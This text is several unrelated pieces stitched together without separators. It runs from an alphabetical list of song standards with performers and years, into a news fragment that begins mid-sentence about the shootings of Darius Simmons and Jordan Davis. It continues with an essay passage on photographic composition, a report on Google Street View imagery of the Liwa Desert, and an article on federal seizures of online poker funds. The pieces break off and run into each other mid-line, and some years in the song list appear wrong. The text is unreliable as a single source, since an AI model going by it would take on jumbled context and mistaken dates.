Luck Be A Lady - Frank Sinatra, 1965
Lullaby of Birdland - Mel Torme, 1963
Lullaby of Broadway - Frank Sinatra, 1943
Lulu's Back In Town - Fats Waller, 1935
Lush Life - Linda Ronstadt, 1984
Ma, He's Making Eyes At Me - Pearl Bailey, 1961
MacArthur Park - Richard Harris, 1968
Mack the Knife (Moritat) - Bobby Darin, 1959
Magic Is The Moonlight - Julie London, 1963
Magic Moments - Perry Como, 1958
Mairzy Dotes - The Pied Pipers, 1944
Make Believe - Jimmy Lunceford, 1936
Make Believe Island - Mitchell Ayers, 1940
Make Someone Happy - Tony Bennett, 1976
Making Memories - Frankie Laine, 1967
Makin' Whoopie - Eddie Cantor, 1930
Mam'selle - The Pied Pipers, 1947
Mama From The Train - Patti Page, 1956
Man and a Woman, A - Johnny Mathis, 1966
Man I Love, The - Ella Fitzgerald, 1956
Man That Got Away, The - Judy Garland, 1954
Man With The Bag, The - Kay Starr, 1950
Manana (Is Soon Enough For Me) - Peggy Lee, 1948
Manhattan - Ella Fitzgerald, 1956
Manhattan Serenade - Jo Stafford, 1943
Marianne - Terry Gilkyson & The Easy Riders, 1957
Maria Elena - Los Indios Tabajares, 1963
Marie - The Bachelors, 1965
Margie - Benny Goodman, 1938
Marshmallow World - Dean Martin, 1966
Mary In The Morning - Al Martino, 1967
Mas Que Nada - Ella Fitzgerald, 1970
Masquerade Is Over, The - Sarah Vaughan, 1954
May Each Day - Andy Williams, 1963
May You Always - The McGuire Sisters, 1959
Maybe - Perry Como & Eddie Fisher, 1952
Maybe It's Because I Love You Too Much - Ray Noble, Al Bowlly vocal, 1933
Maybe September - Tony Bennett, 1966
Maybe You'll Be There - Jane Morgan, 1958
Me And My Shadow - The Mills Brothers, 1958
Mean To Me - Ruth Etting, 1929
Meaning Of The Blues, The - Julie London, 1957
Meditation - Doris Day, 1965
Meet Me Where They Play the Blues - Maria Muldaur, 1999
Melancholy Serenade - Connie Francis, 1959
Mele Kalikimaka - Bing Crosby, 1950
Melody Of Love - The Four Aces, 1955
Memories - Andy Williams, 1962
Memories Are Made of This - Dean Martin, 1955
Memories of You - Rosemary Clooney & Benny Goodman, 1956
Merry Christmas Darling - The Carpenters, 1978
Mexicali Rose - Bing Crosby, 1938
Midnight At The Oasis - Maria Muldaur, 1974
Midnight Blue - Melissa Manchester, 1975
Midnight Sun - June Christy, 1953
Midnight, The Stars and You - Ray Noble, 1932
Miss You - Jaye P. Morgan, 1955
Mistletoe And Holly - Frank Sinatra, 1957
Misty - Johnny Mathis, 1959
Mockin'bird Hill - Patti Page, 1951
It Only Happens When I Dance With You - Frank Sinatra, 1948
Moment To Moment - Frank Sinatra, 1965
Moments Like This - Dean Martin, 1997(?)
Moments to Remember - The Four Lads, 1955
Mona Lisa - Nat "King" Cole, 1950
Mood Indigo -Duke Ellington, 1931
Moody River - Pat Boone, 1961
Moon Was Yellow, The - Frank Sinatra, 1953
Moonburn - Bing Crosby, 1934
Moondance - Van Morrison, 1969
Moonglow - Morris Stoloff & His Orchestra, 1956
Moonlight And Roses - The Three Suns, 1954
Moonlight Becomes You - Bing Crosby, 1942
Moonlight Cocktail - Glenn Miller, 1942
Moonlight Gambler - Frankie Laine, 1956
Moonlight In Vermont - Margaret Whiting, 1944
Moonlight Serenade - Glenn Miller, 1939
Moon River - Henry Mancini, 1961
More - Kai Winding, 1963
More I See You, The - Nat "King" Cole, 1958
More Than You Know - Frank Sinatra, 1942
Mornin' - Al Jarreau, 1983
Morning After, The - Maureen McGovern, 1973
Mr. Blue - The Fleetwoods, 1959
Mr. Lucky - Henry Mancini, 1959
Mr. Sandman - The Chordettes, 1954
Mr. Wonderful - Peggy Lee, 1956
Music, Maestro, Please - Frankie Laine, 1961
Music! Music! Music! - Teresa Brewer, 1950
Music to Watch Girls By - Andy Williams, 1967
Muskrat Ramble - The McGuire Sisters, 1954
My Baby Just Cares For Me - Vic Damone, 1963
My Blue Heaven - Fats Domino, 1947
My Buddy - Mel Torme, 1949
My Coloring Book - Kitty Kallen, 1962
My Dreams Are Getting Better All the Time - Les Brown, 1945, Doris Day vocal
My Foolish Heart - Mel Torme, 1985
My Funny Valentine - Frank Sinatra, 1954
My Happiness - Connie Francis, 1958
My Heart Belongs to Daddy - Julie London, 1961
My Heart Belongs to Me - Barbra Streisand, 1977
My Heart Cries For You - Guy Mitchell, 1951
My Heart Reminds Me - Kay Starr, 1957
My Heart Stood Still - Artie Shaw, 1938
My Ideal - Jimmy Dorsey, 1944
My Kind of Girl - Matt Monro, 1961
My Kind Of Town - Frank Sinatra, 1953
My Little Grass Shack - The Andrews Sisters, 1934
My Number One Dream Came True - Les Brown, 1946, Doris Day vocal
My Melancholy Baby - Judy Garland, 1954
My Old Flame - Linda Ronstadt, 1984
My One And Only Love - Frank Sinatra, 1956
My Own True Love - Margaret Whiting, 1962
My Prayer - The Platters, 1956
My Romance - Doris Day, 1962
My Shining Hour - Frank Sinatra, 1979
My Shy Violet - The Mills Brothers, 1968
My Silent Love - Harry James, 1941, Dick Haymes vocal
My Sweet Lady - John Denver, 1971
My Way - Frank Sinatra, 1969
Nagasaki - The Mills Brothers, 1934
Nancy (With the Laughing Face) - Frank Sinatra, 1944
Nature Boy- Nat "King" Cole, 1948
Naughty Lady of Shady Lane, The - The Ames Brothers, 1954
Near You - Roger Williams, 1958
Nearness of You, The - Hoagy Carmichael, 1927
Never Let Me Go - Nat King Cole, 1956
Never Neverland - Mary Martin, 1955
Never On Sunday - The Chordettes, 1960
Nevertheless (I'm In Love With You) - Frank Sinatra, 1950
New York, New York - Frank Sinatra, 1980
New York State of Mind - Billy Joel, 1976
Nice Work If You Can Get It - Fred Astaire, 1938
Nice 'n' Easy - Frank Sinatra, 1960
Night - Jackie Wilson, 1960
Night And Day - Ella Fitzgerald, 1953
Night Life - Rusty Draper, 1963
Night Lights - Nat King Cole, 1956
Night We Called It A Day, The - Tommy Dorsey, 1943
Nights Are Long - Four Freshmen, 1965
Nights Are Longer - Four Freshmen, 1958
No Arms Can Ever Hold You - The Bachelors, 1965
No Love, No Nothin' - Ella Mae Morse, 1943
No Moon At All - Julie London, 1956
No, Not Much - The Four Lads, 1956
No One Ever Tells You - Frank Sinatra, 1958
No Other Love - Perry Como, 1953
No Other Love - Jo Stafford, 1950
Nobody Cares If I'm Blue - Leon Redbone, 1985
Nobody Else But Me - Tony Bennett, 1995
Nobody Knows You When You're Down And Out - Eric Clapton, 1992
Nobody Wins - Frank Sinatra, 1973
Nola - Billy Williams, 1959
Non Dimenticar - Nat King Cole, 1958
Not Mine - Peggy Lee, 1942
Now Is The Hour - Bing Crosby, 1947
Nuttin' For Christmas - Joe Ward, 1950
Object of My Affection, The - The Boswell Sisters, 1934
Oh Babe What Would You Say - Hurricane Smith, 1973
Oh Lady Be Good - Ella Fitzgerald, 1959
Oh Johnny, Oh Johnny, Oh! - The Andrews Sisters, 1939
Oh, Lonesome Me - Don Gibson, 1958
Oh! Look At Me Now - Frank Sinatra, 1957
Oh My Papa - Eddie Fisher, 1953
Oh! What It Seemed to Be - Frank Sinatra, 1946
Oh! You Beautiful Doll - Mel Torme, 1949
Oh, You Crazy Moon - Mel Torme, 1960
Old Cape Cod - Patti Page, 1957
Old Devil Moon - Frank Sinatra, 1955
Old Lamplighter, The - The Browns, 1960
Old Piano Roll Blues, The - Hoagy Carmichael & Betty Hutton, 1950
Old Songs, The - Barry Manilow, 1981
Ole Buttermilk Sky - Hoagy Carmichael, 1946
On A Clear Day - Robert Goulet, 1965
On A Little Street In Singapore - The Ames Brothers, 1960
On An Evening in Roma - Deam Martin, 1962
On Days Like These - Matt Monro, 1969
On Moonlight Bay - Bing Crosby, 1952
On The Atchison, Topeka and the Santa Fe - Judy Garland, 1945
On The Day You Leave Me - Tony Bennett, 1985
On The Sentimental Side - Al bowlly 1938
On The Street Where You Live - Andy Williams, 1964
On the Sunny Side Of the Street - Jo Stafford, 1945
Once In A While - The Chimes, 1960
Once In Love With Amy - Ray Bolger, 1952
Once Upon A Dream - Mary Costa & Bill Shirley, 1959
Once Upon A Time - Tony Bennett, 1962
One For My Baby - Frank Sinatra, 1958
One Hundred Ways - Quincy Jones, 1980, James Ingram vocal
One Hundred Years from Today - Maxine Sullivan, 1975
One I Love, The - Julie London, 1958
One Morning In May - Mel Torme, 1994
One of Those Songs - Jimmy Durante, 1966
Only Forever - Bing Crosby, 1940
Only The Lonely - Frank Sinatra, 1958
Only Trust Your Heart - Dean Martin, 1957
Only You - The Platters, 1955
Opus One - The Mills Brothers, 1944
Orange Colored Sky - Nat King Cole, 1945
Our Day Will Come - Ruby & The Romantics, 1963
Our Love Is Here to Stay - Nat "King" Cole, 1950
Our Winter Love - The Lettermen, 1967
Out of Nowhere - Lena Horne, 1942
Over The Rainbow - Judy Garland, 1939
Painted Tainted Rose - Al Martino, 1963
Paper Doll - The Mills Brothers, 1942
Paper Roses - Anita Bryant, 1960
Party's Over, The - Nat King Cole, 1957
Pass Me By - Peggy Lee, 1965
Passing Strangers - Sarah Vaughan & Billy Eckstine, 1957
Peg O' My Heart - Jerry Murad & The Harmonicats, 1947
Pennies From Heaven - Bing Crosby, 1936
Penthouse Serenade - Bob Hope & Shirley Ross, 1937
People - Barbra Streisand, 1964
Perfidia - Nat King Cole, 1943
Perhaps, Perhaps, Perhaps - Doris Day, 1965
Personality - Johnny Mercer, 1946
Picnic - The McGuire Sisters, 1956
Pick Yourself Up - Fred Astaire, 1936
Play A Simple Melody - Bing Crosby, 1931
Please Don't Talk About Me When I'm Gone - Arlo Guthrie, 1982
Poinciana - Frank Sinatra, 1943
Polka Dots And Moonbeams - Tommy Dorsey, 1940, Frank Sinatra vocal
Poor Butterfly - The Hilltoppers, 1954
Portrait of My Love - Steve Lawrence, 1961
Prelude To a Kiss - Ella Fitzgerald, 1956
Pretend - Nat "King" Cole, 1953
Pretend You Don't See Her - Jerry Vale, 1957
Pretty Baby - Dean Martin, 1957
Prisoner Of Love - Perry Como, 1946
Promise Her Anything - Dean Martin, 1957
P.S. I Love You - Hilltoppers, The, 1953
Put 'Em In A Box - Doris Day, 1948
Put On A Happy Face - Tony Bennett, 1950
Put Your Arms Around Me, Honey - Dick Haymes, 1943
Put Your Dreams Away - Frank Sinatra, 1958
Puttin' On The Ritz - Fred Astaire, 1946
Quando, Quando, Quando - Englebert Humperdink, 1968
Que Sera Sera - Doris Day, 1956
Queen of the Senior Prom - Mills Brothers, 1957
Quiet Nights of Quiet Stars - Tony Bennett, 1963
Racing With The Moon - Vaughn Monroe, 1941
Rags To Riches - Tony Bennett, 1953
Ragtime Cowboy Joe - The Sons of the Pioneers, 1951
Rain - Dean Martin, 1997
Rain, The Park & Other Things, The - The Cowsills, 1967
Rainbow Connection, The - Jim Henson, 1979
Rainy Days And Mondays - The Carpenters, 1972
Ramblin' Rose - Nat King Cole, 1962
Ramona - Jim Reeves, 1958
Red Roses for a Blue Lady - Vic Dana, 1965
Red Sails In the Sunset - The Platters, 1960
Remember - Benny Goodman, 1935
Remember Me - Bing Crosby, 1937
Remember Me - Ray Noble Orchestra, 1932, Al Bowlly vocal
Remember When - The Platters, 1959
Return To Me - Dean Martin, 1958
Rhythm of the Rain - The Cascades, 1963
Ring Those Christmas Bells - Peggy Lee, 1953
River of No Return - Tennessee Ernie Ford & Marilyn Monroe, 1954
River Stay 'Way From My Door - Frank Sinatra, 1961
Rock-a-Bye Your Baby With a Dixie Melody - Al Jolson, 1918
Rockin' Around the Christmas Tree - Brenda Lee, 1960
Rockin' Chair - The Mills Brothers, 1932
Room Full Of Roses - Sammy Kaye, 1949
Room Without Windows, A - Steve Lawrence, 1964
Round And Round - Perry Como, 1957
'Round Midnight - Julie London, 1960
Route 66 - Nat "King" Cole, 1946
Ruby (It's You) - Ray Charles, 1960
'S Wonderful - Glenn Miller, 1945
Saint Louis Blues - Lena Horne, 1941
Same Old Saturday Night - Frank Sinatra, 1955
Sam's Song - Bing & Gary Crosby, 1950
San Antonio Rose - Bob Wills, 1944
San Francisco Bay Blues - Peter, Paul & Mary, 1965
San Francisco (Wear Some Flowers In Your Hair) - Scott McKenzie, 1967
Sand And The Sea, The - Nat King Cole, 1955
Santa Baby - Eartha Kitt, 1953
Satin Doll - Duke Ellington, 1953
Saturday Night Is The Loneliest Night Of The Week - Frank Sinatra, 1944
Say It Isn't So - Julie London, 1955
Scarlet Ribbons - Harry Belafonte, 1956
Scotch 'n Soda - The Kingston Trio, 1962
Sea Of Love - Phil Phillips, 1959
Sea Of Heartbreak - Don Gibson, 1961
Second Hand Rose - Barbra Streisand, 1965
Second Time Around, The - Frank Sinatra, 1961
Secret Love - Doris Day, 1954
See You In September - The Tempos, 1959
Seems Like Old Times - The Four Freshmen, 1956
Send In The Clowns - Judy Collins, 1975
Sentimental Journey - Les Brown Orchestra, 1944
Sentimental Me - The Ames Brothers, 1950
September In The Rain - Dinah Washington, 1961
September Of My Years - Frank Sinatra, 1965
September Song - Bing Crosby, 1946
Serenade In Blue - Glenn Miller, 1942
Serenade of the Bells - Jo Stafford, 1947
Sh-Boom - The Crew Cuts, 1954
Shadow of Your Smile, The - Tony Bennett, 1965
Shangri-La - The Four Coins, 1957
She Was Five And He Was Ten - The Mills Brothers, 1954
She's Funny That Way - Frank Sinatra, 1943
Sheik Of Araby, The - Benny Goodman, 1937
Shine On, Harvest Moon - Leon Redbone, 1977
Shoo Fly Pie - Dinah Shore, 1945
Shrimp Boats - Jo Stafford, 1951
Side By Side - Kay Starr, 1948
Silver Bells - Bing Crosby, 1951
Since I Fell for You - Lenny Welch, 1963
Sincerely - The McGuire Sisters, 1955
Sing For Your Supper - Mamas & Papas, 1967
Singin' In The Rain - Gene Kelly, 1952
Sisters - Rosemary Clooney & Vera Ellen, 1954
Sky Fell Down, The- Frank Sinatra, 1940
Skylark - Linda Ronstadt, 1984
Sleigh Ride - Johnny Mathis, 1958
Sleepy Head - The Mills Brothers, 1934
Sleepy Lagoon - Harry James, 1940
Sleepy Time Gal - Glenn Miller, 1935
Slow Boat to China - A - Kay Kyser, 1948
Slow Down - Nat King Cole, 1941
Small Fry - Bing Crosby, 1938
Small World - Johnny Mathis, 1959
Smile - Tony Bennett, 1959
Smiles - Benny Goodman, 1936
Smoke Gets In Your Eyes - The Platters, 1958
Smoke Rings - The Mills Brothers, 1932
Snap Your Fingers - Joe Henderson, 1962
Snow - Bing Crosby, Danny Kaye, Rosemary Clooney & Vera Ellen, 1954
Snowfall - Tony Bennett, 1968
So Do I - Kenny Ball, 1961
So In Love - Ella Fitzgerald, 1956
So Little Time - Andy Williams, 1964
So Nice (Summer Samba) - Astrud Gilberto, 1965
So Rare - Jimmy Dorsey Orchestra, 1957
So Relax - Leon Redbone, 1990
So What's New - Peggy Lee, 1967
Soft Summer Breeze - Eddie Heywood, 1956
Softly As I Leave You - Frank Sinatra, 1964
Solitude - Billie Holiday, 1944
Some Enchanted Evening - Perry Como, 1949
Some Sunday Morning - Helen Forrest & Dick Haymes, 1945
Somebody Buy Me A Drink - Oscar Peterson, Jr., 1960
Somebody Else Is Taking My Place - Benny Goodman, 1942, Peggy Lee Vocal
Somebody Loves Me - Errol Garner, 1945
Somebody Stole My Gal - Ted Weems, 1930
Someday My Prince Will Come - Adriana Caselotti, 1937
Someday (You'll Want Me to Want You) - The Mills Brothers, 1949
Someone to Watch Over Me -Ella Fitzgerald, 1950
Someone's Rocking My Dreamboat - The Ink Spots, 1941
Somethin' Stupid - Frank & Nancy Sinatra, 1967
Something to Remember You By - Dinah Shore, 1943
Something's Gotta Give - The McGuire Sisters, 1955
Sometimes I'm Happy - Benny Goodman, 1935
Somewhere - Johnny Mathis, 1964
Somewhere Along The Way - Nat King Cole, 1952
Somewhere In Your Heart - Frank Sinatra, 1964
Somewhere My Love - Ray Coniff, 1966
Somewhere Out There - James Ingram & Linda Ronstadt, 1991
Somewhere There's A Someone - Dean Martin, 1966
Song Is You, The - Tommy Dorsey, 1946
Songbird - Barbra Streisand, 1978
Soon - Ella Fitzgerald, 1959
Soon It's Gonna Rain - Barbra Streisand, 1963
Sooner Or Later - Doris Day, 1947
Sophisticated Lady - Linda Ronstadt, 1984
South Of The Border - Frank Sinatra, 1953
Southern Nights - Glenn Campbell, 1977
Spanish Eyes - Al Martino, 1966
Speak Low - Frank Sinatra, 1945
Speak Softly, Love - Andy Williams, 1972
Spring Can Really Hang You Up the Most - Bette Midler, 1990
Stairway To The Stars - Glenn Miller, 1939
Standing On The Corner - The Four Lads, 1956
Star Dust - Nat "King" Cole, 1957
Star Eyes - Jimmy Dorsey Orchestra 1943
Stars Fell On Alabama - Frank Sinatra, 1935
Star Fell Out of Heaven, A - Vera Lynn, 1936
Stay As Sweet As You Are - Nat King Cole, 1957
Stella By Starlight - Frank Sinatra, 1946
Steppin' Out With My Baby - Tony Bennett, 1948
Stompin' At The Savoy - The Ink Spots, 1936
Stormy Weather - Lena Horne, 1943
Straighten Up And Fly Right - Nat King Cole, 1943
Strange Fruit - Billie Holiday, 1939
Stranger In Paradise - Tony Bennett, 1953
Stranger On The Shore - Andy Williams, 1962
Strangers In The Night - Frank Sinatra, 1966
Street of Dreams - The Ink Spots, 1939
Sugartime - The McGuire Sisters, 1957
Sukiyaki - Kyo Sakamoto, 1964
Summer Knows, The - Summer of '42, 1971
Summer Me, Winter Me - Frank Sinatra, 1979
Summer Rain - Johnny Rivers, 1967
Summer Sweetheart - The Ames Brothers, 1956
Summer Wind, The - Frank Sinatra, 1966
Summer Wine - Nancy Sinatra & Lee Hazelwood, 1967
Summertime - Ella Fitzgerald, 1960
Sunday - Frank Sinatra, 1954
Sunday Blues - Julie London, 1957
Sunday Kind Of Love - Jo Stafford, 1947
Sunday, Monday Or Always - Bing Crosby, 1943
Sunday Will Never Be the Same - Spanky & Our Gang, 1967
Sunrise, Sunset - Topol, 1964
Susie Darlin'- Robin Luke, 1958
Sway - Dean Martin, 1954
Sweet And Lovely - Russ Columboa, 1931
Sweet Dreams - Patsy Cline, 1963
Sweet Georgia Brown - Louis Armstrong, 1949
Sweet Happy Life - Peggy Lee, 1966
Sweet Lorraine - Nat 'King' Cole, 1940
Sweet Memories - Andy Williams, 1982
Sweet Sue (Just You) - Benny Goodman, 1938
Sweetest Sounds, The - Sarah Vaughan, 1963
Sweetheart Tree, The - Henry Mancini, 1965
Swingin' Down the Lane - Frank Sinatra, 1955
Swingin' On A Star - Bing Crosby, 1944
Swingin' On the Moon - Mel Torme, 1953
Swingin' Shepherd Blues - Moe Koffman, 1957
Take Me In Your Arms - Dean Martin, 1962
Take The "A" Train - Ella Fitzgerald & Duke Ellington, 1941
Taking A Chance On Love - Benny Goodman Orchestra, 1943
Tammy - Debbie Reynolds, 1957
Tangerine - Jimmy Dorsey, 1942
Tea For Two - Doris Day, 1950
Teach Me Tonight - Jo Stafford, 1953
Teacher's Pet - Doris Day, 1958
Teddy Bears' Picnic, The - Frank DeVol, 1949
Tell Me Why - The Four Aces, 1951
Temptation - Perry Como, 1945
Tender Is The Night - Tony Bennett, 1962
Tenderly - Tony Bennett, 1960
Tennessee Waltz - Patti Page, 1950
Thank Heaven for Little Girls - Maurice Chevalier, 1958
Thanks - Bing Crosby, 1933
Thanks For The Memory - Shep Fields & Bob Hope, 1937
That Feeling In The Moonlight - Perry Como, 1945
That Lucky Old Sun - Frankie Laine, 1949
That Old Black Magic - Glenn Miller, 1943
That Old Feeling - Frank Sinatra, 1960
That Old Gang of Mine - The Four Aces, 1954
That Ole Devil Called Love - Billie Holiday, 1944
That Sunday That Summer - Nat King Cole, 1963
That Was A Big Fat Lie - Doris Day, 1948
That's All - Sarah Vaughn, 1958
That's All I Want From You - Jaye P. Morgan, 1954
That's Amore - Dean Martin, 1953
That's Life - Frank Sinatra, 1966
That's My Desire - Frankie Laine, 1947
That's The Beginning Of The End - Jimmy Roselli, 1970
Them There Eyes - Billie Holiday, 1939
Then I'll Be Tired of You - Peggy Lee, 1957
Then You Can Tell Me Good-Bye - The Casinos, 1967
There Are Such Things - Tommy Dorsey, Frank Sinatra & The Pied Pipers, 1942
There Goes My Heart - Joni James, 1958
There I Go - Vaughn Monroe, 1940
There! I've Said It Again - Bobby Vinton, 1963 |
who is black, after confronting the teen while he was taking out the garbage in front of his family's home.
According to police, Spooner believed Simmons had stolen from him, and allegedly told the teenager that he would "teach him not to steal" before shooting him once in the chest. Spooner has admitted he shot Simmons, telling police: "They are going to throw the book at me because I shot the kid,” as one officer testified.
The entire incident was captured by a security camera, which Assistant District Attorney Mark Williams has called the most important piece of evidence at the trial: "You're going to see the terror in Darius' face, and you're going to see how cold-blooded and callous Mr. Spooner was."
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Update: Spooner has been found guilty of first-degree intentional homicide.
Jordan Davis
Michael David Dunn shot and killed 17-year-old Jordan Davis at a gas station last year because the teen was playing loud music. After exchanging words with Davis, Dunn, who is white, told police that he began shooting because he believed Davis, who is black, was armed: “It was either a barrel or a stick but, sir, they’re like we’re going to kill you and then they said, ‘you’re dead [expletive removed].’ What I should have done was put the car in reverse, but that shotgun come up or whatever it was -- fight or flight -- and I don’t think there was time for flight at that moment because I was going to get shot."
Dunn then fled the scene, went to a hotel and ordered a pizza. He was arrested the next day.
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When asked by police why he didn't call them to report the crime, Dunn said: "I wanted to come back to my hometown to do that -- with our dog and everybody -- where they needed to be. I didn't want to bring a [expletive removed] storm in Jacksonville."
Dunn is now facing a first-degree murder charge (and three attempted murder charges), and intends to invoke Florida's "Stand Your Ground" law in his defense.The picture’s structure is sustained by intersecting lines. The man’s head and left arm form a diagonal; a rectangle set off from this diagonal would contain the main action of the photograph. In the background are other crosses. Even the streetlamp is a half-finished cross. These crosses are like individual instruments taking up a musical theme. A roof at the left emphasizes the main diagonal and a glance from the second most prominent man in the picture, which parallels it. The pale-shirted shoulders from which the dark-suited mourner emerges form a radiating arrangement, and the bent elbows to the left and right are like parentheses around this group of helpers.
Beginning photographers are often tempted to reduce photography to rigid rules. The rule of thirds — thinking of the picture plane in terms of a grid made of three equal vertical and three equal horizontal divisions, with the points of interest placed at the intersections of these lines — is a common starting point. More sophisticated is the golden ratio (two quantities are said to be in a golden ratio if the ratio of the larger to the smaller is the same as the ratio of their sum to the larger). Imagine a triptych in which the center is about 0.618 as wide as each of the wings. Because this ratio is often found in nature, it is credited as the mathematical logic behind many efficient and visually pleasing phenomena: certain flower petals, or mollusk shells, or spiral galaxies. These codes can be helpful for looking. But the reality is that there is usually a much more improvisatory and flexible mathematical order at play in a successful photograph.
A bright afternoon in 1986. Alex Webb is on the streets of Bombardopolis, a town in northwestern Haiti. That afternoon is long gone now, but a photograph Webb made that day remains. A woman stands in a blue frock and a red head scarf. An enormous cigarette floating next to her face turns out to be in the mouth of a man in deep shadow in the foreground. In the middle distance are a donkey’s ears, and little else of the donkey. Farther back is a boy, neatly contained in the frame created by a bamboo pole on one side and a painted wall on the other. He is in silhouette, and he appears to be looking at the photographer (and therefore at us, who share the photographer’s view). There are other people in the picture: a man in profile on the left; another little boy, only his head visible, peeking just below the silhouetted boy; a woman in a patterned red-and-blue cloth standing in a doorway with her back to us. The plaster has flaked off the wall on the right to reveal a shape as pointed and angular as the donkey’s ears.There aren't a lot of streets in the UAE's Liwa Desert, but you can now explore the massive, sandy dunes on Google Street View anyway.
Google announced this week that a virtual tour of the desert in the United Arab Emirates is now online, from its date farms, to 40-metre-high dunes, to the largest oasis in the Arabian Peninsula.
"We hope this collection gives you a glimpse of what it may be like to travel the desert as caravan merchants have for the past 3,000 years," wrote Najeeb Jarrar, Google's product marketing manager for the Middle East and North Africa, on the company's Lat Long blog.
The imagery was gathered with a camera mounted on the back of a camel.
"Using camels for the collection allowed us to collect authentic imagery and minimize our disruption of this fragile environment," Jarrar.
Google used its Trekker camera, which is typically worn on a backpack to gather off-street imagery in a huge variety of other places, including the Grand Canyon and many of Canada's national parks and historic sites.
The same day it released the Liwa Desert imagery, Google added 50 new Canadian national and provincial parks to Street View, including:Will Web poker bust spark fight or flight? Little agreement on how feds’ multimillion-dollar seizure will shake out
Sun Coverage Headlines from the Vegas gaming industry
Other Coverage Newsday: Online poker assets seized
Reader poll Should the ban on Internet gambling be overturned? Yes. Overturn the ban and allow Internet gambling.
No. Keep the ban and don't allow Internet gambling. View results
The federal government’s recent seizure of millions of dollars from bank accounts used to process online poker transactions is sending shock waves through the Internet gambling community.
But insiders, including gaming giants poised to capitalize on the potential legalization of Internet wagering, disagree on how the action this month by the Justice Department will affect a controversial activity with millions of American participants.
The seizures, which follow other federal efforts to crack down on Internet gambling sites accepting bets from Americans, are among the most aggressive government actions to date involving poker sites.
Critics of the seizure say it won’t stop people from playing poker on the Internet and will fuel state and federal legalization efforts.
“I have not heard one person saying, ‘I am through with online poker,' ” said one industry official in Las Vegas, who declined to be named. “It’s just making people more militant and bitter against the government.”
But others think it will make players think twice about gambling online.
“If I begin to lose players because they’re afraid to deposit with me, then I lose games and the rake they generate,” said Christopher A. Krafcik, editor of the trade publication IGamingNews. “If I was a player, I’d consider taking my money elsewhere.”
Online gambling companies advertise extensively in the United States and generate billions of dollars from American gamblers, but are generally based in foreign countries. Their operators believe U.S. laws criminalizing gambling don’t apply to them.
By targeting payment processors, the Justice Department — which has long maintained that all forms of Internet gambling are illegal — aims to cut off the sites’ money supply.
Until recently, many operators and players believed their money was safe from federal meddling because it was handled by foreign companies and held in offshore accounts.
American banks and credit card companies have generally exited the business of processing credit card transactions for online bets, which can be traced by merchant codes. That void has been filled by debit card transactions and third-party payment processors, which maintain domestic bank accounts subject to U.S. laws.
On June 2, a federal judge signed a warrant issued by the U.S. attorney for the Southern District of New York to seize the assets in a Wells Fargo account in San Francisco held by Account Services Inc., a company that processes transactions for major online poker sites that accept U.S. bets.
Details of the seizure were filed under seal, and the U.S. attorney and Justice Department have declined to comment.
The U.S. attorney also sent a subpoena to Allied Wallet, another third-party payment processor, to appear before a grand jury in New York on June 18. The subpoena requested documents including correspondence, records of financial transactions and contracts between Allied Wallet and Internet gambling companies dating to 2001 as well as information on owners and employees.
Both documents cite alleged violations of Title 18, Section 1955, of the U.S. Code, which prohibits “illegal gambling businesses” operating in violation of state laws. The subpoena also cites Section 1956, which prohibits financial transactions with unlawfully obtained proceeds.
The feds reportedly seized or froze more than $30 million in online gambling funds at multiple banks doing business with major sites, including Full Tilt Poker and PokerStars.
This isn’t the first seizure of its kind.
Last year, the Justice Department seized more than $20 million in U.S. bank accounts linked to Bodog, a major online gambling site that operates in Antigua. The seizure included $9.9 million deposited in Las Vegas at Nevada State Bank.
This followed the 2006 arrest of BetOnSports.com CEO David Carruthers and the extraction of $105 million in fines from online gambling giant Party-
Gaming, which has admitted to breaking the law and has exited the U.S. market. PartyGaming’s co-founder also surrendered $300 million.
Internet poker supporters have downplayed the significance of such actions, saying the sites invited prosecution by offering sports betting, a major target for the feds.
Poker enthusiasts have argued that online poker involves a great deal of skill and therefore can’t be viewed as illegal gambling, which would involve games of chance. Some add that their sites aren’t conducting gambling themselves and are merely hosting bets that occur among players — an argument similar to that made by music file-sharing Web sites that attempted to skirt federal copyright laws.
Such arguments are no match for the will and means of the Justice Department and its associates in the FBI and IRS, said Sanford Millar, chief financial officer and general counsel of Centaurus Games, a Las Vegas company that hosts free and subscription-only poker tournaments online.
“The Department of Justice has never agreed with those arguments,” said Millar, a Los Angeles-based tax lawyer who teaches law at California State University, Northridge. “If they think they are going to outmaneuver the U.S. government they are out of their minds.”
The Poker Players Alliance, a lobbying group, thinks the Justice Department has overstepped its authority and is gathering a team of legal experts to assist the poker sites.
In a letter to its members Tuesday, the Alliance said some of the seizures were made “without the benefit of proper warrants” and show “an almost shocking trampling of due process.” The feds seized money that belonged to players rather than the Web sites, and no federal law makes it a crime for a player to gamble online, the Alliance contends.
The laws cited by the feds come into play only after other violations of law, which may be tough to establish given that only a few states have made it a crime to gamble online, said I. Nelson Rose, an Internet gambling law expert who teaches at Whittier Law School in Southern California.
On the other hand, players whose accounts have been credited the amount of any seized funds don’t have much of a claim against the feds, leaving that role to offshore companies, which are unlikely to come forward and stake a claim, Rose said.
Players or Web sites would have to identify themselves to make their case, giving the IRS an opportunity to demand tax records and any unpaid taxes, Millar added.
Rather than put up a fight, Bodog forfeited the money.
According to the poker alliance, major poker sites have credited the accounts of players whose money was seized and are “completely committed to staying the course and remaining in the U.S. market.”
Bricks-and-mortar casinos — which are no doubt concerned about opening the door to new competition, especially in a downturn — have remained largely silent.
One exception is Harrah’s Entertainment, which is backing a bill by Massachusetts Rep. Barney Frank to have the feds regulate online gaming. The company recently created a Montreal-based interactive division to promote the company’s World Series of Poker-branded tournaments worldwide.
Harrah’s spokesman Gary Thompson calls the seizure of funds a “nonevent” that won’t slow online gambling or the company’s lobbying efforts.
“The fact that there are some zealots in the Justice Department that are cognizant of the support for legalizing Internet gambling in the United States and want to try to make a name for themselves before there’s some legislation that passes and some rational approach toward this in this country won’t deter us,” he said.
While federal regulators have framed their dislike of Internet gambling as a national security problem, Millar believes their primary concern is a social and financial one. Gambling at home presents a bigger risk to Americans’ homes and life savings, he says, than schlepping to the casino down the street — or across the country.
Based on the Bodog case, the feds appear to be creating a roadmap that will allow them to more quickly and effectively dry up gambling sites’ bank accounts, Millar said.
“This seems like an amazing waste of judicial resources when you’ve got multi-billion-dollar scandals to worry about,” Rose said.
